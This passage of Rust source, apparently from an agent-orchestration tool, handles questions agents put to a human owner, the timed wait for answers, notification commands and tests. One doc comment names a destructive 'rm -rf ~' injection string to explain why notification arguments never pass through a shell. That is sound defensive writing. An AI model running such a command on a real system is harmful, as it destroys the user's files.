1736                "could not notify about question {}: {e:#} - the web UI is the \
1737                 only surface for it now",
1738                q.short()
1739            );
1740        }
1741    }
1742    tracing::info!(
1743        "question {} from {} is waiting for you: {}",
1744        q.short(),
1745        q.seat,
1746        q.summary
1747    );
1748    wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1749}
1750
1751/// Take the wait as this process: beat the lease and note it on the record.
1752fn hold(store: &Questions, id: &str) {
1753    store.beat(id, WaiterKind::Asker);
1754    let took = store.update(id, |q| {
1755        if q.status.open() {
1756            q.waiter = Some(Waiter {
1757                kind: WaiterKind::Asker,
1758                since: Timestamp::now(),
1759            });
1760        }
1761        Ok(())
1762    });
1763    if let Err(e) = took {
1764        tracing::debug!("could not note the wait on question {id}: {e:#}");
1765    }
1766}
1767
1768/// Record that the agent has read everything so far, so the daemon waiter does
1769/// not resume a session to tell it what was already printed.
1770///
1771/// Callers must invoke this only **after** the word reached the agent's stdout:
1772/// marking first would let a tool timeout kill the process between the mark
1773/// and the print, and the waiter would then consider a word delivered that no
1774/// agent ever saw.
1775pub fn hand_over(store: &Questions, q: &mut Question) {
1776    let done = store.update(&q.id, |r| {
1777        r.delivered_turns = r.delivered_turns.max(q.thread.len());
1778        if r.status == QuestionStatus::Answered {
1779            r.answer_delivered = true;
1780        }
1781        r.waiter = None;
1782        Ok(())
1783    });
1784    match done {
1785        Ok((fresh, ())) => *q = fresh,
1786        Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
1787    }
1788}
1789
1790/// What the agent is shown for an answer: the owner's says it has not read
1791/// yet, in order, then the answer. With no such say it is `answer` itself,
1792/// byte for byte.
1793pub fn answer_for_agent(q: &Question, answer: &str) -> String {
1794    let says = q.undelivered_owner_turns();
1795    if says.is_empty() {
1796        return answer.to_owned();
1797    }
1798    format!(
1799        "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
1800        says.join("\n\n")
1801    )
1802}
1803
1804/// Print an answer (with any unread says before it) to `out`, flush, and only
1805/// then record the hand-over. A failed write marks nothing delivered.
1806pub fn deliver_answer(
1807    store: &Questions,
1808    q: &mut Question,
1809    answer: &str,
1810    out: &mut impl std::io::Write,
1811) -> std::io::Result<()> {
1812    writeln!(out, "{}", answer_for_agent(q, answer))?;
1813    out.flush()?;
1814    hand_over(store, q);
1815    Ok(())
1816}
1817
1818/// The polling loop shared by a fresh wait and a resumed one.
1819///
1820/// `timeout` is the budget left before the question's `answer_timeout`
1821/// truly runs out; `slice` bounds how much of that this one call spends
1822/// before handing control back. Landing on `slice` while `timeout` still has
1823/// budget left is [`Wait::Pending`] - the caller's move, not the owner's
1824/// silence. Landing on `timeout` itself - because it was no bigger than
1825/// `slice` to begin with - is the real thing, and abandons the question
1826/// exactly as a single unsliced wait always did.
1827async fn wait_loop(
1828    q: &mut Question,
1829    store: &Questions,
1830    timeout: Duration,
1831    slice: Duration,
1832    poll: Duration,
1833) -> Result<Wait> {
1834    // The owner may already have spoken back before this call ever started -
1835    // most often because they did so in the gap between an earlier call
1836    // reporting `Wait::Pending` and this one picking the wait back up with
1837    // `--wait`. That word must surface at once rather than sit unnoticed
1838    // until some *later* turn happens to change something: this call never
1839    // saw it get added, so nothing below would otherwise recognise it as
1840    // new. `last_word_awaiting_reply` reads the question's own record of
1841    // whose turn it is - see [`Question::waiting_on_agent`] - rather than a
1842    // turn count this call would have to have been there to capture.
1843    if let Some(said) = q.unread_from_owner() {
1844        return Ok(Wait::Replied(said));
1845    }
1846    hold(store, &q.id);
1847
1848    let bounded = timeout.min(slice);
1849    let is_the_real_deadline = bounded >= timeout;
1850    let deadline = tokio::time::Instant::now() + bounded;
1851    loop {
1852        let now = tokio::time::Instant::now();
1853        if now >= deadline {
1854            if !is_the_real_deadline {
1855                // The lease is left to age out on purpose: the caller is about
1856                // to run `magi ask --wait`, and that gap is what LEASE_TTL
1857                // covers.
1858                return Ok(Wait::Pending);
1859            }
1860            let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
1861            // Re-checked on the record as it is now: the owner may have said
1862            // something in time since the last poll, and that word is handed
1863            // over, not abandoned.
1864            let (fresh, unread) = store
1865                .update(&q.id, |r| {
1866                    let unread = r.unread_from_owner();
1867                    if unread.is_none() {
1868                        r.abandon(&why);
1869                        r.waiter = None;
1870                    }
1871                    Ok(unread)
1872                })
1873                .context("record the abandoned question")?;
1874            *q = fresh;
1875            if let Some(said) = unread {
1876                return Ok(Wait::Replied(said));
1877            }
1878            tracing::warn!(
1879                "question {} went unanswered for {}s; the run parks and the \
1880                 question stays as the record of it",
1881                q.short(),
1882                timeout.as_secs()
1883            );
1884            return Ok(Wait::Abandoned);
1885        }
1886        tokio::time::sleep(poll.min(deadline - now)).await;
1887        store.beat(&q.id, WaiterKind::Asker);
1888        match store.get(&q.id) {
1889            Ok(fresh) if !fresh.status.open() => {
1890                // Whoever answered - the phone, `magi answer`, another daemon -
1891                // owns the record now, so adopt theirs wholesale rather than
1892                // merging into a copy that predates it.
1893                *q = fresh;
1894                return Ok(match q.resolution() {
1895                    Some(a) => Wait::Answered(a),
1896                    // Closed with no decision - abandoned elsewhere, most
1897                    // often by the run behind it being deleted mid-wait.
1898                    None => Wait::Abandoned,
1899                });
1900            }
1901            Ok(fresh) => {
1902                if let Some(said) = fresh.unread_from_owner() {
1903                    *q = fresh;
1904                    return Ok(Wait::Replied(said));
1905                }
1906                // Still open and not waiting on the agent - nothing this
1907                // wait cares about happened, so keep polling.
1908            }
1909            Err(e) => {
1910                // Mid-rename, or a file the operator is editing by hand.
1911                // Neither is a reason to abandon a question a human may still
1912                // answer, so keep polling until the deadline decides.
1913                tracing::debug!("could not re-read question {}: {e:#}", q.short());
1914            }
1915        }
1916    }
1917}
1918
1919/// Run the operator's notification command, if one is configured.
1920///
1921/// The command is argv, never a shell string, and the substitutions below are a
1922/// single pass over each argument: a summary containing `; rm -rf ~` is one
1923/// argument to one program, and a summary containing the characters `{run}` is
1924/// not re-expanded. That property is the reason agent-authored text can be put
1925/// in a notification at all.
1926///
1927/// An error here is reported, not swallowed, so `magi notify --test` can show
1928/// the operator why nothing arrives. The waiting path logs it and carries on.
1929pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
1930    let mut summary = format!("Question {}: {}", q.short(), q.summary.trim());
1931    if q.status.open() {
1932        summary.push_str(&format!(
1933            " Respond in Questions or with `magi answer {}`.",
1934            q.id
1935        ));
1936    }
1937    let url = question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default());
1938    notify_at(cmd, &q.run, &summary, &url).await
1939}
1940
1941/// [`notify`] for an event that is not a question: the same command, the same
1942/// placeholders, with `summary` and `run` supplied directly.
1943pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
1944    let url = view_url(
1945        &std::env::var(WEB_URL_ENV).unwrap_or_default(),
1946        "notifications",
1947    );
1948    notify_at(cmd, run, summary, &url).await
1949}
1950
1951async fn notify_at(cmd: &config::Notify, run: &str, summary: &str, url: &str) -> Result<()> {
1952    let Some((program, args)) = cmd.command.split_first() else {
1953        // No command configured: the web UI is the only surface, by choice.
1954        return Ok(());
1955    };
1956    if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
1957        tracing::warn!(
1958            "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
1959             so the link will be empty - export it next to `magi serve` with \
1960             the address `magi web --open` printed"
1961        );
1962    }
1963    let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, url)).collect();
1964    tracing::debug!(program = %program, args = ?argv, "notifying");
1965
1966    let mut child = tokio::process::Command::new(program);
1967    child.quiet();
1968    child
1969        .args(&argv)
1970        .stdin(std::process::Stdio::null())
1971        // Killed if the timeout below drops this future: a notification
1972        // command left running would outlive the run it was announcing.
1973        .kill_on_drop(true);
1974    let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
1975        Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
1976        Err(_) => bail!(
1977            "notification command `{program}` did not finish within {}s",
1978            NOTIFY_TIMEOUT.as_secs()
1979        ),
1980    };
1981    if !out.status.success() {
1982        let stderr = String::from_utf8_lossy(&out.stderr);
1983        let why = stderr
1984            .lines()
1985            .rev()
1986            .find(|l| !l.trim().is_empty())
1987            .unwrap_or("no output on stderr")
1988            .trim();
1989        bail!(
1990            "notification command `{program}` exited with {}: {why}",
1991            out.status
1992        );
1993    }
1994    Ok(())
1995}
1996
1997/// Substitute `{summary}`, `{run}` and `{url}` into one argument.
1998///
1999/// One left-to-right pass, so a substituted value is never scanned for further
2000/// placeholders. Agent prose contains braces, and an agent quoting `{summary}`
2001/// in a question must not make the notification recursive.
2002fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
2003    let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
2004    let mut out = String::with_capacity(template.len());
2005    let mut rest = template;
2006    while let Some(at) = rest.find('{') {
2007        out.push_str(&rest[..at]);
2008        let tail = &rest[at..];
2009        match table.iter().find(|(token, _)| tail.starts_with(token)) {
2010            Some((token, value)) => {
2011                out.push_str(value);
2012                rest = &tail[token.len()..];
2013            }
2014            None => {
2015                // Not a placeholder magi knows: it is the operator's own text.
2016                out.push('{');
2017                rest = &tail[1..];
2018            }
2019        }
2020    }
2021    out.push_str(rest);
2022    out
2023}
2024
2025/// Point a configured base URL at the view that can answer the question.
2026///
2027/// A notification the operator has to navigate from is a question that stays
2028/// unanswered until morning, so the questions view is appended - unless the
2029/// operator already wrote a fragment, in which case they have said where they
2030/// want to land and magi does not know better.
2031fn question_url(base: &str) -> String {
2032    view_url(base, "questions")
2033}
2034
2035fn view_url(base: &str, view: &str) -> String {
2036    let base = base.trim().trim_end_matches('/');
2037    if base.is_empty() || base.contains('#') {
2038        return base.to_owned();
2039    }
2040    format!("{base}/#/{view}")
2041}
2042
2043/// Assemble a panel's contents in an already-empty directory.
2044///
2045/// Split out so [`Questions::put_panel`] can delete the whole directory on the
2046/// first error without an early `return` skipping that cleanup.
2047fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
2048    let index = dir.join(PANEL_HTML);
2049    std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
2050    for (name, src) in assets {
2051        let dst = dir.join(name);
2052        std::fs::copy(src, &dst)
2053            .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
2054    }
2055    Ok(())
2056}
2057
2058/// Remove a directory and everything under it, treating "not there" as done.
2059///
2060/// A panel is replaced wholesale and dropped idempotently, and in both cases
2061/// the absence of the directory is the desired end state, not an error.
2062fn clear_dir(path: &Path) -> Result<()> {
2063    match std::fs::remove_dir_all(path) {
2064        Ok(()) => Ok(()),
2065        Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
2066        Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
2067    }
2068}
2069
2070fn read_path(path: &Path) -> Result<Question> {
2071    let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
2072    let q: Question =
2073        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2074    if q.schema > SCHEMA {
2075        // Strictly newer, not merely different: every field added since
2076        // schema 1 carries `#[serde(default)]`, so an *older* schema reads
2077        // here as "no thread yet" rather than as garbage. Only a schema this
2078        // build has never heard of is refused.
2079        bail!(
2080            "question {} was written by a newer magi (schema {}, this build \
2081             only speaks up to {SCHEMA})",
2082            q.id,
2083            q.schema
2084        );
2085    }
2086    Ok(q)
2087}
2088
2089/// [`short`] for callers outside this module (a run id shortens the same way).
2090pub fn short_id(id: &str) -> &str {
2091    short(id)
2092}
2093
2094fn short(id: &str) -> &str {
2095    id.split('-').next_back().unwrap_or(id)
2096}
2097
2098fn new_id() -> String {
2099    let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
2100    let seed = crate::rng::entropy();
2101    format!("{stamp}-{:04x}", (seed ^ (seed >> 32)) & 0xffff)
2102}
2103
2104#[cfg(test)]
2105mod tests {
2106    use super::*;
2107
2108    /// A store of its own, with no process-global state - which is the point of
2109    /// `Questions::at`, and why these can run in parallel.
2110    fn store() -> (tempfile::TempDir, Questions) {
2111        let dir = tempfile::tempdir().unwrap();
2112        let s = Questions::at(dir.path().join("questions"));
2113        (dir, s)
2114    }
2115
2116    #[test]
2117    fn run_names_task_only_for_task_questions() {
2118        for (node, want) in [
2119            (crate::conduct::NODE, true),
2120            (crate::triage::NODE, true),
2121            (crate::triage::DEPS_NODE, true),
2122            (crate::land::APPROVAL_NODE, false),
2123            (crate::bump::NOTICE_NODE, false),
2124            ("implement", false),
2125        ] {
2126            let mut q = choice_question();
2127            q.node = node.to_owned();
2128            assert_eq!(q.run_names_task(), want, "{node}");
2129        }
2130    }
2131
2132    #[test]
2133    fn deleting_a_run_stops_its_questions_asking() {
2134        let (_dir, store) = store();
2135
2136        let mut open_one = choice_question();
2137        store.put(&mut open_one).unwrap();
2138        let mut answered = free_question();
2139        answered
2140            .answer(Answer::Text("keep this".to_owned()))
2141            .unwrap();
2142        store.put(&mut answered).unwrap();
2143        let mut elsewhere = choice_question();
2144        elsewhere.run = "20260903-105039-3cbf".to_owned();
2145        store.put(&mut elsewhere).unwrap();
2146
2147        let n = store
2148            .abandon_for_run(&open_one.run, "run was deleted")
2149            .unwrap();
2150        assert_eq!(n, 1, "only the open question of that run");
2151
2152        let back = store.get(&open_one.id).unwrap();
2153        assert!(!back.status.open(), "it no longer asks for a decision");
2154        assert!(
2155            back.detail.contains("run was deleted"),
2156            "the operator can see why: {}",
2157            back.detail
2158        );
2159
2160        let kept = store.get(&answered.id).unwrap();
2161        assert_eq!(
2162            kept.status,
2163            QuestionStatus::Answered,
2164            "an answered question is a decision on record, not something to revoke"
2165        );
2166        assert!(
2167            store.get(&elsewhere.id).unwrap().status.open(),
2168            "another run's question is untouched"
2169        );
2170        assert!(store.open_for(&open_one.run).is_empty());
2171    }
2172
2173    #[test]
2174    fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
2175        let (_dir, store) = store();
2176        let mut q = choice_question();
2177        store.put(&mut q).unwrap();
2178
2179        // `Blocked` can still be resumed - leave it exactly as it was.
2180        let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
2181        assert_eq!(n, 0);
2182        assert!(store.get(&q.id).unwrap().status.open());
2183
2184        // `Failed` is not - abandon it, with the run and its fate in the
2185        // reason so the owner can tell what happened without a run to read.
2186        let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
2187        assert_eq!(n, 1);
2188        let back = store.get(&q.id).unwrap();
2189        assert!(!back.status.open());
2190        assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
2191
2192        // A second call against the same, now-settled run finds nothing left.
2193        assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2194    }
2195
2196    fn choice_question() -> Question {
2197        Question::new(
2198            "20260902-201256-9fb7".to_owned(),
2199            "implement".to_owned(),
2200            "impl-A".to_owned(),
2201            "Which storage backend should the cache use?".to_owned(),
2202            "Both are already dependencies.".to_owned(),
2203            vec!["SQLite".to_owned(), "Redis".to_owned()],
2204        )
2205    }
2206
2207    fn free_question() -> Question {
2208        Question::new(
2209            "20260902-201256-9fb7".to_owned(),
2210            "review".to_owned(),
2211            "rev-1".to_owned(),
2212            "What should the error message say?".to_owned(),
2213            String::new(),
2214            Vec::new(),
2215        )
2216    }
2217
2218    /// No notification, which is the default and what most of these want.
2219    fn quiet() -> config::Notify {
2220        config::Notify::default()
2221    }
2222
2223    #[test]
2224    fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
2225        // The front end parses these names by hand; there is no shared schema
2226        // and no compiler between the two. A rename here is a UI that shows an
2227        // empty card and reports no error, so the names are asserted literally.
2228        let mut q = choice_question();
2229        q.id = "20260902-231501-ab12".to_owned();
2230        let open: serde_json::Value = serde_json::to_value(&q).unwrap();
2231        // `serde_json::Value` holds an object's keys sorted, and key order
2232        // means nothing to a JSON reader anyway: the field *set* is what the
2233        // front end was written against, so that is what is pinned here.
2234        let keys: Vec<&str> = open
2235            .as_object()
2236            .unwrap()
2237            .keys()
2238            .map(String::as_str)
2239            .collect();
2240        assert_eq!(
2241            keys,
2242            [
2243                "actions",
2244                "answer",
2245                "answer_delivered",
2246                "answer_timeout",
2247                "answered_at",
2248                "asked_at",
2249                "assets",
2250                "choices",
2251                "consult",
2252                "cwd",
2253                "decision_context",
2254                "delivered_turns",
2255                "deputy",
2256                "detail",
2257                "id",
2258                "merge_target",
2259                "node",
2260                "panel",
2261                "run",
2262                "schema",
2263                "seat",
2264                "status",
2265                "summary",
2266                "thread",
2267                "triage_generation",
2268                "waiter",
2269            ],
2270            "the on-disk field set is a contract with the front end"
2271        );
2272        assert_eq!(open["schema"], 11);
2273        assert_eq!(open["merge_target"], serde_json::Value::Null);
2274        assert_eq!(open["triage_generation"], serde_json::Value::Null);
2275        assert_eq!(open["thread"], serde_json::json!([]));
2276        assert_eq!(open["id"], "20260902-231501-ab12");
2277        assert_eq!(open["run"], "20260902-201256-9fb7");
2278        assert_eq!(open["node"], "implement");
2279        assert_eq!(open["seat"], "impl-A");
2280        assert_eq!(open["status"], "open");
2281        assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2282        assert_eq!(open["answered_at"], serde_json::Value::Null);
2283        assert_eq!(open["answer"], serde_json::Value::Null);
2284        let asked = open["asked_at"].as_str().unwrap();
2285        assert!(
2286            asked.ends_with('Z') && asked.contains('T'),
2287            "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2288        );
2289
2290        // A chosen option, exactly as the contract spells it.
2291        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2292        let answered = serde_json::to_value(&q).unwrap();
2293        assert_eq!(answered["status"], "answered");
2294        assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2295        assert!(answered["answered_at"].is_string());
2296
2297        // And free text, which is the other of the two forms.
2298        let mut free = free_question();
2299        free.answer(Answer::Text("Say which file it was".to_owned()))
2300            .unwrap();
2301        assert_eq!(
2302            serde_json::to_value(&free).unwrap()["answer"],
2303            serde_json::json!({"text": "Say which file it was"})
2304        );
2305
2306        // And it survives the round trip a reader actually performs.
2307        let body = serde_json::to_string(&q).unwrap();
2308        assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2309    }
2310
2311    #[test]
2312    fn merge_target_persists_and_schema_10_questions_remain_readable() {
2313        let (_dir, store) = store();
2314        let mut q = approval_question();
2315        q.merge_target = Some(crate::merge_decision::Target {
2316            pr: "https://github.com/example/repo/pull/42".into(),
2317            head: "reviewed-head".into(),
2318            language: "ja".into(),
2319        });
2320        store.put(&mut q).unwrap();
2321        let saved = store.get(&q.id).unwrap();
2322        assert_eq!(saved, q);
2323        let mut body = serde_json::to_value(&saved).unwrap();
2324        assert_eq!(body["schema"], 11);
2325        assert_eq!(
2326            body["merge_target"],
2327            serde_json::json!({
2328                "pr": "https://github.com/example/repo/pull/42",
2329                "head": "reviewed-head",
2330                "language": "ja"
2331            })
2332        );
2333
2334        // Earlier merge/hold cards have no target field. Read the actual
2335        // on-disk shape through the store, including its schema guard.
2336        body["schema"] = serde_json::json!(10);
2337        body.as_object_mut().unwrap().remove("merge_target");
2338        std::fs::write(store.path_of(&q.id), serde_json::to_vec(&body).unwrap()).unwrap();
2339        let legacy = store.get(&q.id).unwrap();
2340        assert_eq!(legacy.schema, 10);
2341        assert!(legacy.merge_target.is_none());
2342        assert_eq!(legacy.choices, q.choices);
2343        assert_eq!(legacy.status, q.status);
2344    }
2345
2346    #[test]
2347    fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2348        // Four different mistakes, four different fixes: the web handler shows
2349        // these strings to the person who made them.
2350        let mut unoffered = choice_question();
2351        let a = unoffered
2352            .answer(Answer::Choice("Postgres".to_owned()))
2353            .unwrap_err()
2354            .to_string();
2355
2356        let mut typed = choice_question();
2357        let b = typed
2358            .answer(Answer::Text("use Postgres".to_owned()))
2359            .unwrap_err()
2360            .to_string();
2361
2362        let mut blank = free_question();
2363        let c = blank
2364            .answer(Answer::Text("   \n".to_owned()))
2365            .unwrap_err()
2366            .to_string();
2367
2368        let mut twice = choice_question();
2369        twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2370        let d = twice
2371            .answer(Answer::Choice("Redis".to_owned()))
2372            .unwrap_err()
2373            .to_string();
2374
2375        assert!(a.contains("not one of the choices"), "{a}");
2376        assert!(b.contains("multiple choice"), "{b}");
2377        assert!(c.contains("empty"), "{c}");
2378        assert!(d.contains("already answered"), "{d}");
2379        let mut distinct = vec![a, b, c, d];
2380        let asked = distinct.len();
2381        distinct.sort_unstable();
2382        distinct.dedup();
2383        assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2384
2385        // The refused ones are still open, so the owner can answer properly.
2386        assert_eq!(unoffered.status, QuestionStatus::Open);
2387        assert_eq!(typed.status, QuestionStatus::Open);
2388        assert_eq!(blank.status, QuestionStatus::Open);
2389        // And the first answer to the double-answered one survived.
2390        assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2391
2392        // Free text refuses a fabricated choice for the mirror-image reason.
2393        let mut free = free_question();
2394        let e = free
2395            .answer(Answer::Choice("SQLite".to_owned()))
2396            .unwrap_err()
2397            .to_string();
2398        assert!(e.contains("free text"), "{e}");
2399    }
2400
2401    #[test]
2402    fn open_questions_are_listed_before_answered_ones() {
2403        let (_dir, s) = store();
2404        // Ids carry a timestamp, so force a known order: the answered one is
2405        // the newest, and must still sort below the open ones.
2406        let mut old_open = choice_question();
2407        old_open.id = "20260101-000001-aaaa".to_owned();
2408        let mut new_open = choice_question();
2409        new_open.id = "20260101-000002-bbbb".to_owned();
2410        let mut answered = choice_question();
2411        answered.id = "20260101-000003-cccc".to_owned();
2412        answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2413        for q in [&mut old_open, &mut new_open, &mut answered] {
2414            s.put(q).unwrap();
2415        }
2416
2417        let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2418        assert_eq!(
2419            ids,
2420            [
2421                "20260101-000002-bbbb",
2422                "20260101-000001-aaaa",
2423                "20260101-000003-cccc"
2424            ],
2425            "what has stopped work comes first; history sorts underneath"
2426        );
2427        assert_eq!(s.count_open(), 2);
2428        assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2429        assert!(s.open_for("some-other-run").is_empty());
2430        // The short id is what the phone and the reports show.
2431        assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2432        assert!(s.get("20260101-000002-bbbb").is_ok());
2433        assert!(s.resolve_id("nope").is_err());
2434        assert!(
2435            s.revision() > 0,
2436            "the store's mtime drives the phone's polling"
2437        );
2438    }
2439
2440    #[test]
2441    fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2442        let (_dir, s) = store();
2443        let mut good = choice_question();
2444        s.put(&mut good).unwrap();
2445        // Truncated by a killed writer, and written by a magi from the future.
2446        std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2447        let future = serde_json::json!({
2448            "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2449            "seat": "s", "summary": "?", "detail": "", "choices": [],
2450            "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2451            "answered_at": null, "answer": null,
2452        });
2453        std::fs::write(
2454            s.path_of("20260101-000010-beef"),
2455            serde_json::to_string(&future).unwrap(),
2456        )
2457        .unwrap();
2458
2459        let listed = s.list();
2460        assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2461        assert_eq!(listed[0].id, good.id);
2462        // Asked for by name, the unreadable one explains itself instead.
2463        let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2464        assert!(e.contains("schema"), "{e}");
2465    }
2466
2467    #[tokio::test]
2468    async fn the_wait_returns_the_answer_another_process_wrote() {
2469        // The phone, `magi answer` and this run are three processes with no
2470        // channel between them: the file is the channel, so the wait has to see
2471        // a write it did not make. Sub-second timings keep this a real wait
2472        // without a real one's duration.
2473        let (dir, s) = store();
2474        let mut q = choice_question();
2475        let id = q.id.clone();
2476        let writer = Questions::at(dir.path().join("questions"));
2477        let handle = tokio::spawn(async move {
2478            tokio::time::sleep(Duration::from_millis(30)).await;
2479            let mut fresh = writer.get(&id).expect("the question was filed first");
2480            fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2481            writer.put(&mut fresh).unwrap();
2482        });
2483
2484        let got = wait_for_owner(
2485            &mut q,
2486            &s,
2487            &quiet(),
2488            Duration::from_secs(5),
2489            Duration::from_millis(10),
2490        )
2491        .await
2492        .unwrap();
2493
2494        handle.await.unwrap();
2495        assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2496        assert_eq!(
2497            q.status,
2498            QuestionStatus::Answered,
2499            "the caller's copy is refreshed from the answering process's record"
2500        );
2501        assert!(q.answered_at.is_some());
2502    }
2503
2504    #[tokio::test]
2505    async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2506        let (_dir, s) = store();
2507        let mut q = choice_question();
2508
2509        let got = wait_for_owner(
2510            &mut q,
2511            &s,
2512            &quiet(),
2513            Duration::from_millis(60),
2514            Duration::from_millis(10),
2515        )
2516        .await
2517        .unwrap();
2518
2519        assert_eq!(
2520            got,
2521            Wait::Abandoned,
2522            "a slow human is not an error; the run parks"
2523        );
2524        assert_eq!(q.status, QuestionStatus::Abandoned);
2525        let on_disk = s.get(&q.id).expect("the record of what was asked survives");
2526        assert_eq!(on_disk.status, QuestionStatus::Abandoned);
2527        assert!(
2528            on_disk.detail.contains("Abandoned:"),
2529            "why nobody answered belongs with the question: {}",
2530            on_disk.detail
2531        );
2532        assert!(on_disk.resolution().is_none());
2533        assert_eq!(s.count_open(), 0);
2534    }
2535
2536    #[tokio::test]
2537    async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
2538        // This is the whole point of slicing: `timeout` (the real
2539        // `answer_timeout` budget) is far larger than `slice`, so the loop
2540        // must land on `slice` first and hand back `Pending` - not read the
2541        // silence so far as the owner having given up.
2542        let (_dir, s) = store();
2543        let mut q = choice_question();
2544        s.put(&mut q).unwrap();
2545
2546        let got = wait_loop(
2547            &mut q,
2548            &s,
2549            Duration::from_secs(3600),
2550            Duration::from_millis(30),
2551            Duration::from_millis(10),
2552        )
2553        .await
2554        .unwrap();
2555
2556        assert_eq!(
2557            got,
2558            Wait::Pending,
2559            "the clock on this call ran out, not the owner's patience"
2560        );
2561        assert_eq!(
2562            q.status,
2563            QuestionStatus::Open,
2564            "a slice expiring must never abandon the question"
2565        );
2566        let on_disk = s.get(&q.id).expect("still on disk, still open");
2567        assert_eq!(
2568            on_disk.status,
2569            QuestionStatus::Open,
2570            "nothing about the record changed just because this call gave up"
2571        );
2572    }
2573
2574    #[tokio::test]
2575    async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
2576        // The shape `magi ask --wait <id>` relies on: one slice finds nothing
2577        // and returns `Pending`, a second slice - a fresh call, exactly as a
2578        // fresh process would make - picks the same question back up and
2579        // sees an answer written in between.
2580        let (dir, s) = store();
2581        let mut q = choice_question();
2582        s.put(&mut q).unwrap();
2583
2584        let first = wait_loop(
2585            &mut q,
2586            &s,
2587            Duration::from_secs(3600),
2588            Duration::from_millis(30),
2589            Duration::from_millis(10),
2590        )
2591        .await
2592        .unwrap();
2593        assert_eq!(first, Wait::Pending);
2594
2595        let id = q.id.clone();
2596        let writer = Questions::at(dir.path().join("questions"));
2597        let mut fresh = writer.get(&id).unwrap();
2598        fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2599        writer.put(&mut fresh).unwrap();
2600
2601        // `resume_wait` uses its own production poll interval rather than a
2602        // test-injected one, so the budget here only needs to be large enough
2603        // to cover one real poll tick - the point is that it is `resume_wait`
2604        // itself, not a helper, that finds the answer.
2605        let second = resume_wait(&mut q, &s, Duration::from_millis(500))
2606            .await
2607            .unwrap();
2608        assert_eq!(second, Wait::Answered("Redis".to_owned()));
2609        assert_eq!(q.status, QuestionStatus::Answered);
2610    }
2611
2612    #[tokio::test]
2613    async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
2614        // The owner can speak back while nothing is running at all - between
2615        // one call reporting `Wait::Pending` and the next `--wait` picking
2616        // the question back up - and whoever resumes the wait loads a
2617        // *fresh* copy of the question off disk, one whose thread already
2618        // contains that reply. A baseline taken from that fresh copy would
2619        // treat the reply as pre-existing and never notice it "arrive",
2620        // leaving the agent polling in silence until `answer_timeout`
2621        // eventually abandons the question - replacing the exact accident
2622        // this feature exists to fix with a quieter version of itself.
2623        let (dir, s) = store();
2624        let mut q = choice_question();
2625        s.put(&mut q).unwrap();
2626
2627        let first = wait_loop(
2628            &mut q,
2629            &s,
2630            Duration::from_secs(3600),
2631            Duration::from_millis(30),
2632            Duration::from_millis(10),
2633        )
2634        .await
2635        .unwrap();
2636        assert_eq!(first, Wait::Pending);
2637
2638        // The owner speaks back during the gap, with nobody running yet.
2639        let id = q.id.clone();
2640        let writer = Questions::at(dir.path().join("questions"));
2641        let mut fresh = writer.get(&id).unwrap();
2642        fresh.say("why not Postgres?").unwrap();
2643        writer.put(&mut fresh).unwrap();
2644
2645        // `magi ask --wait` re-reads the question rather than reusing the
2646        // stale in-memory copy the earlier call held - so the copy handed to
2647        // `resume_wait` here already carries the reply, same as `fresh` above.
2648        let mut resumed = s.get(&id).unwrap();
2649        let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
2650            .await
2651            .unwrap();
2652        assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
2653        assert_eq!(
2654            resumed.status,
2655            QuestionStatus::Open,
